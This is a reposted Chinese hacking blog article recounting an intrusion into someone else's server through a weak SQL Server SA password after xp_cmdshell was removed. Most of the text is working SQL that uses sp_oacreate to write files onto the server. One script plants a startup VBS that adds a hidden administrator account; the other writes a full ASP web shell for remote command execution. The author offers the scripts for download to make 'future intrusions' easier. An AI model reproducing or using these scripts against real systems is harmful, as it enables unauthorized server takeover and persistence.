对SA权限的再突破 (对付xplog70.dll被删)转载

对SA权限的再突破 (对付xplog70.dll被删)转载

转载自:http://www.bitscn.com/plus/view.php?aid=45439

 

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

xp_cmdshell存储过程就是通过xplog70.dll文件加载

 

SQL ERRORLOG的启动信息

2014-03-06 15:04:40.14 spid51 Attempting to load library 'xplog70.dll' into memory. This is an informational message only. No user action is required.
2014-03-06 15:04:40.25 spid51 Using 'xplog70.dll' version '2009.100.1600' to execute extended stored procedure 'xp_msver'. This is an informational message only; no user action is required.

 

黑客X档案第7期57页,青野志狼有一篇文章<<对SA的权限突破>>。文章写到了在知道sql服务器的SA用户名弱密码后,而服务器去掉了SA的xp_cmdshell权限的情况下,如何通过SQL命令恢复SA的xp_cmdshell权限来进行入侵。这样入侵(详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名,这一点青野志狼也谈到了,但是他没有写在xplog70.dll被删掉或改名的情况下的入侵方法。这里就把我曾经在这样情况下一次成功的黑站验给大家分享一下。

  先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下:

  [开放端口]21/80/1433/3389 
[sql弱口令]sa(aaa)
[CGI漏洞]
/_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述]
/_vti_bin/shtml.dll/nosuch.htm [漏洞描述]
/_vti_bin/shtml.dll [漏洞描述]
/_vti_bin/shtml.dll/_vti_rpc [漏洞描述]
/_vti_bin/shtml.exe [漏洞描述]
  除了这几个漏洞,x-scan2.3再没有扫出别的了,好在有sql弱口令。用sql连接器连上看看吧,可大失所望。dir命令不能执行,好像是服务器去掉了SA的xp_cmdshell权限。


我再用sql的查循分析器来连接SQL服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’,但是显示错误。

 


看样子是xplog70.dll被改名了。抱着试试看看的态度,再用sql连接器连上,执行dir命令,依然依显示图1的情况。

  这种情况下怎么办呢?既然有了sql弱口令,而且sql的查循分析器也可以连接上,当然也可以用它来写一些文本程序在服务器上。再打开查循分析器,在弹出的文本框里写入以下sql脚本命令:

 

declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate ’scripting.filesystemobject’, @o out
---给菜鸟加个简单注释,这两行代码是建立sql的文本对象
exec sp_oamethod @o, ’createtextfile’, @f out,
’c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs’, 1
--在启动菜单里写入a.vbs,当然这里只支持中文
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’set wshshell=createobject("wscript.shell")’
--单引号里的都是a.vbs的内容,要一行一行的写,下同。
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)’
--a.vbs内容结束
执行查循后,这样就会在服务器的启动程序里写入一个a.vbs脚本。

 


只要服务器重启,就可以加入一个用户名是lcx,密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了,可是等到花儿也谢了,这个用户也没加成功,我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启,还是服务器不是中文系统(因为这个sql脚本只支持中文),还是被管理员发现了,总之就是没加成功。在这之后,我就陷入了深思。于是回头看x-scan的漏洞扫描报告,上安全焦点查了一些扫到的漏洞资料,还是一无所获,扫到的漏洞都没有太大的利用价值。思考中,突然灵光一闪,_vti_bin是一个虚拟目录,在IIS上默认的物理路径是C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\isapi\,我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对,执行http://ip/_vti_bin/,返回403错误码。


证明服务器这个虚拟目录是存在的。好了,我开始写sql脚本,一行一行写得好累呀,做个黑客也不容易呀(本想写入海阳顶端网木马xp.net版。可代码太多了):

 

declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate ’scripting.filesystemobject’, @o out
--给菜鸟加个简单注释:还是建立sql程序的文本对像
exec sp_oamethod @o, ’createtextfile’, @f out,
’C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\lcx.asp’, 1
--在这个目录写入一个lcx.asp文件,没有就生成,你可以根据需要改成别的目录。
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<% if Request("password")=1234 then’
--单引号里都是lcx.asp代码内容,要一行一行的写呀,我写的是一个改装的cmd.asp,下同。
[Page]

exec @ret = sp_oamethod @f, ’writeline’, NULL,
’session("password")="lcx"’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’response.redirect Request.ServerVariables("URL")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’elseif session("password")="" then %>’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="确认提交"> </form>’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<%else%>’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<HTML>’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<input type=text name=".CMD" size=45 value="<%= szCMD %>">’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<input type=submit value="执行" class="input">’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’</FORM> <pre>’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’On Error Resume Next’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’Set oScript = Server.CreateObject("WSCRIPT.SHELL")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’szCMD = Request.Form(".CMD")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’If (szCMD <> "") Then ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’szTempFile = "C:\" & oFileSys.GetTempName( ) ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’ End If ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’If (IsObject(oFile)) Then’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’On Error Resume Next’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’Response.Write Server.HTMLEncode(oFile.ReadAll) ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’ oFile.Close ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’ Call oFileSys.DeleteFile(szTempFile, True)’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’End If %> ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’</BODY> </HTML> ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<%end if %> ’
--好累,代码终于写完了

然后我将这段脚本放在查循分析器里执行,运气不错,服务器的iis是默认安装的,显示命令成功完成。

 


迫不及待的来看看运行结果吧,

 

哈,成功了。忘记告诉你,刚才运行的这段sql脚本,会在C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\isapi\这个物理目录下,也就是虚拟目录_vti_bin目录下生成lcx.asp这个asp文件,是一个改装的cmd.asp了,密码是1234。输入密码1234后,再来看看,得到一个cmd的网页shell了。


虽然权限不是很大,但是查看服务器敏感信息,黑掉服务器的网页是绰绰有余的。我就用这个lcx.asp在服务器的C:\Program Files\Microsoft SQL Server\MSSQL\Binn这个目录里发现了一个可疑的xplog701.dll文件,和原来的文件大小比较,果然是一个改名的xplog70.dll。也许有的人要说,你可以再将名字改回来呀。我也试过,虽然改过名,也需要重启mssql服务,这个xplog70.dll才可以加载。看样子我的运气到了尽头,在这台机器上再没有得到太多渗透入侵结果了。


  后来我在本机做过测试,我是w2k+sp3+iis5.0+fat32系统,在默认安装情况下,一些默认的虚拟目录用sql 查循分析器大都是可写的,而且这些默认的虚拟目录对应的物理目录都是固定的。除了上文讲到的_vti_bin外,还有像http://ip/printers对应的是C:\WINNT\web\printers,http://ip/对应的是c:\inetpub\wwwroot等等。所以平常说的暴露物理路径的危害由此实例可以管中窥豹了。


  最后,我将本文中两个sql脚本和我改装过的lcx.asp为了大家今后入侵的方便,放在这里供大家下载(同url下的vbs.sql/asp.sql/lcx.asp压缩包里有),如果你今后也遇到同样情况,省去你手工输入的麻烦了,但我可不鼓励你入侵呀。

 

参考文章:

服务器安全部署文档

Windows2003 SQL2005解决系统Administrator密码不知道的问题

posted @ 2014-03-10 13:49  桦仔  阅读(3662)  评论(2编辑  收藏  举报